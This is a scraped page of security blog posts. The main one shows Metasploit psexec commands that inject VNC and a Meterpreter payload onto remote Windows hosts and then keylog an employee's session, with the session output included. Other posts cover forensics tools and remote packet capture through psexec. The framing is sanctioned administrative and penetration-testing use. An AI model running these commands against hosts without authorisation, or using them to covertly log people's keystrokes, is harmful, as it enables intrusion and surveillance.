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Welcome to Mark Baggett - In Depth Defense

I am the course Author of SANS SEC573 Automating Information Security with Python. Check back frequently for updated tools and articles related to course material.




No exploit Metasploit usage - VNC and Keylogging

OK.  I admit it.  I use metasploit at work.  Of course, I have permission to use it as a penetration testing tool, but I find it to be very useful in other circumstances as well.    I often use the PSEXEC "exploit" to provide username and password to fully patched machines for administrative purposes.   For example, it has come in handy when the standard remote access tools have been removed and there is a remote machine that the support center is unable to access.   They, rightly so,  have figured out that if the security team can get in to their machines without usernames and passwords, it should be pretty easy for them to help recover a managed machine with known usernames and passwords.   One option to troubleshoot the broken admin software is to remotely (and temporarily) install VNC on the stranded host.  I use to connect to the remote c$ with administrator credentials, copy up vnc, import the required registry keys, start the server, fix the problem, clean up the registry, clean up the files and kill the service.  Now I just do this..

./msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypassword smbdomain=companydomain rhost=strandedmachineip payload=windows/vncinject/bind_tcp E

There is no clean up because the tools never reaches the disk of the remote machine.  This is very nice.  Doug Burks and I have even talked about stripping down ./msfweb to a barebones version that just ask for ip, username and password and launches the VNC session.   ./msfwebvnc could be wrapped around a msfd instance on a central server that allows the support center to recover machines.    We may do that some day.   Comment if that interests you.   Now meterpreter has introduced another feature I suspect I will use at work.   

I occasionally get asked to run a keylogger on an employees machines.  Meterpreter now has this functionality built into it.   Before you do this talk with HR and your legal team.   In my opinion no employee investigations should ever occur without HR's involvement.  Maybe its because wiretap laws make me nervous about using my KeyGhost logger, but anytime I'm dealing with keyloggers I like to talk with our lawyers.  I've been told its not a problem many times before, but I check with them first.  Meterpreter on the other hand is software and there is no "wire tapping" going on.   It should be much less intrusive and your less likely to have the employee notice it.   Ask me to tell you the horror story about the USB keylogger and the KVM system some time.    Also, I can use meterpreter to keylog a remote office in only a few seconds.   So now a keylogger on a remote system is as easy as:

./msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypassword smbdomain=companydomain rhost=monitoredmachineip payload=windows/meterpreter/bind_tcp E
[*] Please wait while we load the module tree...
...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.100.4:60701 -> 192.168.100.7:4444)

meterpreter > grabdesktop

Trying to hijack the input desktop...

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

 I'm so glad we use this encrypted im channel to exchange sensitive data so the company doesn't catch us.   The stolen data is...

meterpreter >keyscan_stop


Interestingly, the keylogger does not capture the usernames and passwords when the user enters them at the screen saver logon prompts.   It records ctrl-alt-delete but not the password.   This is actually a good thing from my intended use.   Not knowing employees passwords protects the integrity of our audit logs.   



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SRUM-DUMP and SRUM_DUMP_CSV Ported to Python 3

SRUM_DUMP and SRUM_DUMP_CSV have been ported to Python3 and are available for download from the PYTHON3 branch of my github page.

https://github.com/MarkBaggett/srum-dump/tree/python3

In moving to Python3 I also updated the modules that I depend upon to parse and create XLSX files and access the ESE database that contains the SRUM data.  I hope that this will fix the issue that some users have experienced with SRUDB.dat files that create very large spreadsheets.  If it does not please let me know and continue to use SRUM_DUMP_CSV.EXE to avoid the XLSX problem.

In moving to Python3 you will find the process to be faster.

If you would like to run the tools from source instructions for doing so are in the README on the github page.

Awesome Keyboard Tricks - Clevo/Sager Backlight control from Powershell

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New tool Freq_sort.py

I read an article on Fireeye's website the other day where they used Machine Learning to eliminate a lot of the noise that comes out of tools like strings.  It's pretty interesting and looks like it would save me some time when looking through malware.

https://www.fireeye.com/blog/threat-research/2019/05/learning-to-rank-strings-output-for-speedier-malware-analysis.html

I wondered how effective freq.py scores would be in helping to eliminate the noise.  45 minutes and 29 lines of Python code later I have something that looks like it works.  Check out freq_sort.py.

Before freq_sort.py here is the output of strings on a piece of malware:

student@573:~/freq$ strings -n 6 malware.exe | head -n 20
!This program cannot be run in DOS mode.
e!Rich
`.rdata
@.data
.pdata
@.gfids
@.rsrc
@.reloc
\$0u"H
L$ SVWH
K SVWH
|$ H;_
<bt%<xt!<Zt
|$ AVH
l$ VWAV
L$ SUVWH
UVWATAUAVAWH
0A_A^A]A\_^]
UVWATAUAVAWH
@A_A^A]A\_^]

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Use Python and Scapy to Easily Do Full Duplex Stream Reassembly!

Check out this blog on how to get scapy to do full packet reassembly in just a few lines of Python code.

https://pen-testing.sans.org/blog/2017/10/13/scapy-full-duplex-stream-reassembly


Windows TCPDUMP without installing WINPCAP!!!!!!!!

IMHO, This is a long time coming for Windows. I love this thing. You probably already know about it, but I haven't read much about it anywhere and Its been very useful to me. Its a version of tcpdump for windows that doesn't require I install the Winpcap drivers. I use it along with PSEXEC to start remote sniffing probes on Windows workstations. I'm sure its NOT forensically sound to do this in on a box that may contain evidence because of the swap file, but for information gathering something like this is very useful.

So with this..
http://www.microolap.com/downloads/tcpdump/tcpdump.zip

Something like this

\mytools\psexec.exe \\remotecomputer -c \mytools\tcpdump.exe -i 1 -s0 -w \\remotefileserver\share\capturename.cap

Lets me turn every node on my network into a remote Snort probe, or just capture anamolies!